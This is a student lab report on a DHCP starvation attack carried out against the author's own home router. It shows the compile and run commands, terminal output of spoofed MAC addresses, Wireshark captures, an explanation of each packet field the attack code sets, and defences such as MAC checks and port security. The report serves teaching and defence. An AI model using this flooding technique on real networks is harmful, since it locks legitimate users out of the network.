

DHCP Starvation Attack

Name: Adiba Shaira

Roll: 1605097

Steps of Attack:

1. Command in Terminal:

- a. `gcc <filename> -o <output>`
- b. Ifconfig-interface name for wireless connection
- c. `sudo <output> <interface_name>`

2. Outputs in Command line

```
es  Terminal  13:52
adiba007@adiba007-HP-Pavillon-Notebook: ~/Downloads/DHCP Starvation/DHCP-Starvation-Attack-CSE406-Project
File Edit View Search Terminal Help
adiba007@adiba007-HP-Pavillon-Notebook:~/Downloads/DHCP Starvation/DHCP-Starvation-Attack-CSE406-Project$ gcc 1605097.c -o 1605097.out
adiba007@adiba007-HP-Pavillon-Notebook:~/Downloads/DHCP Starvation/DHCP-Starvation-Attack-CSE406-Project$ sudo ./1605097.out wlo1
[sudo] password for adiba007:
DHCP Starvation is starting
File descriptor for new socket: 3
SPOOFED MAC ADDRESS: 8991ab322c48
OFFERED ADDRESS: 192.168.0.105
REQUESTED ADDRESS: 192.168.0.105
SPOOFED MAC ADDRESS: 83cdd59ab01
SPOOFED MAC ADDRESS: ecddf668704a
OFFERED ADDRESS: 192.168.0.107
REQUESTED ADDRESS: 192.168.0.107
SPOOFED MAC ADDRESS: 677fdf29cfe5
OFFERED ADDRESS: 192.168.0.108
REQUESTED ADDRESS: 192.168.0.108
SPOOFED MAC ADDRESS: 96aa3860566b
SPOOFED MAC ADDRESS: db28e9f58c5a
OFFERED ADDRESS: 192.168.0.110
REQUESTED ADDRESS: 192.168.0.110
SPOOFED MAC ADDRESS: 19472ddc804e
SPOOFED MAC ADDRESS: 9474345ceeb
OFFERED ADDRESS: 192.168.0.112
REQUESTED ADDRESS: 192.168.0.112
SPOOFED MAC ADDRESS: 6790da911cee
SPOOFED MAC ADDRESS: 6ed5f696bcab
OFFERED ADDRESS: 192.168.0.114
REQUESTED ADDRESS: 192.168.0.114
SPOOFED MAC ADDRESS: 792d7a67711
SPOOFED MAC ADDRESS: 2d615df22e9b
OFFERED ADDRESS: 192.168.0.116
REQUESTED ADDRESS: 192.168.0.116
SPOOFED MAC ADDRESS: 48ffa68a8612
OFFERED ADDRESS: 192.168.0.117
REQUESTED ADDRESS: 192.168.0.117
SPOOFED MAC ADDRESS: 99da10781c50
OFFERED ADDRESS: 192.168.0.118
REQUESTED ADDRESS: 192.168.0.118
SPOOFED MAC ADDRESS: 7f823ca2b483
```

```
File Edit View Search Terminal Help
SPOOFED MAC ADDRESS: b73f3312ea50
OFFERED ADDRESS: 192.168.0.125
REQUESTED ADDRESS: 192.168.0.125
SPOOFED MAC ADDRESS: e86ae2eedc3d
SPOOFED MAC ADDRESS: 1f105c88bbcc
SPOOFED MAC ADDRESS: a72b003cb2e9
SPOOFED MAC ADDRESS: b64835845dd
SPOOFED MAC ADDRESS: b8275ce8748b
SPOOFED MAC ADDRESS: 3dedda31266a
SPOOFED MAC ADDRESS: c8a9e520c7cb
SPOOFED MAC ADDRESS: 4f8fbce898b
SPOOFED MAC ADDRESS: b115bdd57ba9
SPOOFED MAC ADDRESS: 7082c18b137
SPOOFED MAC ADDRESS: c087b39d94a6
SPOOFED MAC ADDRESS: 124adb5db1f
SPOOFED MAC ADDRESS: c063249afc3
SPOOFED MAC ADDRESS: 577c18e63b1e
SPOOFED MAC ADDRESS: f92ecfe22f56
SPOOFED MAC ADDRESS: f6422a996b24
SPOOFED MAC ADDRESS: 5f231c3f82e
SPOOFED MAC ADDRESS: 4dfb5e1933a
SPOOFED MAC ADDRESS: 95fd64d87da3
SPOOFED MAC ADDRESS: 9b2757452933
SPOOFED MAC ADDRESS: 466e3032d96a
SPOOFED MAC ADDRESS: d8b085bbc121
OFFERED ADDRESS: 192.168.0.106
REQUESTED ADDRESS: 192.168.0.106
SPOOFED MAC ADDRESS: 4a97dd4b14e
SPOOFED MAC ADDRESS: 17ac97448c93
OFFERED ADDRESS: 192.168.0.109
REQUESTED ADDRESS: 192.168.0.109
SPOOFED MAC ADDRESS: 6497ad144f12
SPOOFED MAC ADDRESS: d37b68304c88
OFFERED ADDRESS: 192.168.0.111
REQUESTED ADDRESS: 192.168.0.111
SPOOFED MAC ADDRESS: 5a3c0867238
OFFERED ADDRESS: 192.168.0.113
REQUESTED ADDRESS: 192.168.0.113
```

In this step, we can see that DISCOVER packets are being sent continuously and for those offered and requested packets are also generated. In this way all the available IP addresses will be unavailable.

Outputs in Wireshark:

The screenshot shows the Wireshark interface with the filter `udp.port==67`. The packet list displays a series of DHCP transactions between 1291 and 1501. The packet details pane shows the structure of a DHCP Discover packet (Frame 513), including Ethernet II, Internet Protocol Version 4, User Datagram Protocol, and Bootstrap Protocol (Request). The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
1291	27.860973573	192.168.0.104	255.255.255.255	DHCP	590	DHCP Request - Transaction ID 0x42232186
1292	27.861032779	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x1527c9fb
1295	28.471493239	192.168.0.1	255.255.255.255	DHCP	590	DHCP ACK - Transaction ID 0x42232186
1440	30.473462264	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x797b16b
1441	30.522986239	192.168.0.1	255.255.255.255	DHCP	590	DHCP Offer - Transaction ID 0x797b16b
1442	30.523188776	192.168.0.104	255.255.255.255	DHCP	590	DHCP Request - Transaction ID 0x797b16b
1443	30.523249267	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x1109dbf9
1445	31.133737386	192.168.0.1	255.255.255.255	DHCP	590	DHCP ACK - Transaction ID 0x797b16b
1490	33.135909274	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x5410e992
1499	33.185966611	192.168.0.1	255.255.255.255	DHCP	590	DHCP Offer - Transaction ID 0x5410e992
1500	33.186164409	192.168.0.104	255.255.255.255	DHCP	590	DHCP Request - Transaction ID 0x5410e992
1501	33.186217510	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x79a54163

Frame 513: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interface 0
Ethernet II, Src: HmdGloab_a9:74:89 (a0:28:ed:a9:74:89), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255
User Datagram Protocol, Src Port: 68, Dst Port: 67
Bootstrap Protocol (Request)

The screenshot shows the Wireshark interface with the filter `udp.port==67`. The packet list displays a series of DHCP transactions between 1671 and 1800, followed by an MDNS transaction. The packet details pane shows the structure of a DHCP Discover packet (Frame 513), including Ethernet II, Internet Protocol Version 4, User Datagram Protocol, and Bootstrap Protocol (Request). The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
1671	39.995166676	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x486774fd
1672	40.037409371	192.168.0.106	224.0.0.251	MDNS	193	Standard query 0x0006 PTR _AAF8F49E._sub._googlecast._tcp.local, "QM" question PTR _googlecast._t...
1673	40.051771972	192.168.0.1	255.255.255.255	DHCP	590	DHCP Offer - Transaction ID 0x486774fd
1674	40.051948423	192.168.0.104	255.255.255.255	DHCP	590	DHCP Request - Transaction ID 0x486774fd
1675	40.051994359	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x7e139755
1725	40.655866127	192.168.0.1	255.255.255.255	DHCP	590	DHCP ACK - Transaction ID 0x486774fd
1726	40.661579906	192.168.0.1	255.255.255.255	DHCP	590	DHCP Offer - Transaction ID 0x7e139755
1727	40.661745968	192.168.0.104	255.255.255.255	DHCP	590	DHCP Request - Transaction ID 0x7e139755
1728	40.661799946	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x66f84f2c
1780	41.881716073	192.168.0.106	224.0.0.251	MDNS	289	Standard query response 0x0000 PTR, cache flush Android.local PTR, cache flush Android.local A, c...
1829	42.663939585	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x3619d3a
1800	44.666164006	192.168.0.104	255.255.255.255	DHCP	590	DHCP Discover - Transaction ID 0x44a8629

Frame 513: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interface 0
Ethernet II, Src: HmdGloab_a9:74:89 (a0:28:ed:a9:74:89), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255
User Datagram Protocol, Src Port: 68, Dst Port: 67
Bootstrap Protocol (Request)

New Client unavailable to join:

13:56 | 2.7KB/s   ...

4G
it  68



Wi-Fi

Wi-Fi



CONNECTED



Saira
Obtaining IP address...



AVAILABLE NETWORKS



NILASA



Sakoyat



sky



penheiro



Add network



Though the correct password has been given to connect to router “Saira”, the mobile is not able to connect to the server. It’s happening because all the IP addresses have been occupied by the client (attacker). So, the attack is successful.

Explanation of the Attack:

1. Initializing a socket:

```
int create_DHCP_socket()
```

Using this function, I created a raw socket using linux’s `socket()` system call in.

```
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
```

`AF_INET` : IPV4 Internet Protocols

`SOCK_DGRAM` : Supports Datagrams

`IPPROTO_UDP` : DHCP uses UDP in the underlying transport layer.

2. Setting Client Address:

```
int setHardwareAddress()
```

Random Mac Addresses are generated in this function. Random addresses are generated for spoofing

the chaddr (Client Hardware Address) field in DHCP Discover packets.

3.Creating DHCP DISCOVER Packets:

```
int makeDHCPDiscoverPacket(int sock)
```

For flooding,raw DHCP DISCOVER packets have to be created.Following are the parameters used:

Operation Code : Set to 1 (As client i.e. attacker is sending discover packets)

Hops: Set to 0 so that packet reaches the router of the LAN in which the attacker remains

Hardware Type: Set to 1 (Ethernet)

Hardware Address Length: Length of Mac Address.
Set to 6

Transaction Identifier:A 32-bit identification field generated by the client,to allow it to match up the request with replies received from DHCP. Set to a random number of uint32_t. Using random() function.

Seconds: Set to 0

Flags : Set broadcast bit to 1 so that everyone gets the message

ciaddr : Set to 0 as it is set by the client when the client has confirmed it's ip.

yiaddr : Client's IP address; set by the server to inform the client

of the client's IP Address. So we need to set this to 0

siaddr : IP Address of the next server for the client to use in the configuration process

giaddr : Relay agent (gateway) IP address; filled in by the relay

agent with the address of the interface through which Dynamic Host Configuration Protocol (DHCP) message was received. So we need to set this to 0

chaddr: Client's hardware address (Layer 2 address).

Set to the

spoofed MAC address.

Magic cookie :Set to 0x63825363

Sending DHCP Packets:

```
int sendPacket(void *buffer, int buffer_size, int sock, struct sockaddr_in *dest)
```

After making DHCP DISCOVER packets, they are being sent by the sendPacket function. Continuous sending of DHCP DISCOVER packets is the key to this attack.

Receiving DHCP Packets:

```
int getDHCPOfferPacket(int sock)
```

Using this method, from server side we can get DHCP OFFER packet. After some time REQUEST packet is being sent from the client and finally the ACK packet from server side. This and above process is continuously done until all the available IP addresses are spoofed.

Evaluation of the Attack:

Though the victim's machine tried to join the server and the password was also correct, it couldn't. It happened because all the IP addresses were unknowingly given to the attacker by the server. The only way victim could join the server was to restart the router/server.

Measures to defend the attack:

1. Enabling MAC address check. The DHCP server compares the **chaddr** field of a received DHCP request with the source MAC address in the frame header. If they are the same, the DHCP server verifies this

request as legal and processes it. If they are not the same, the server discards the DHCP request.

2. Enabling port security in case of wired connection

3. Limiting the number of DHCP DISCOVER packets through a single port.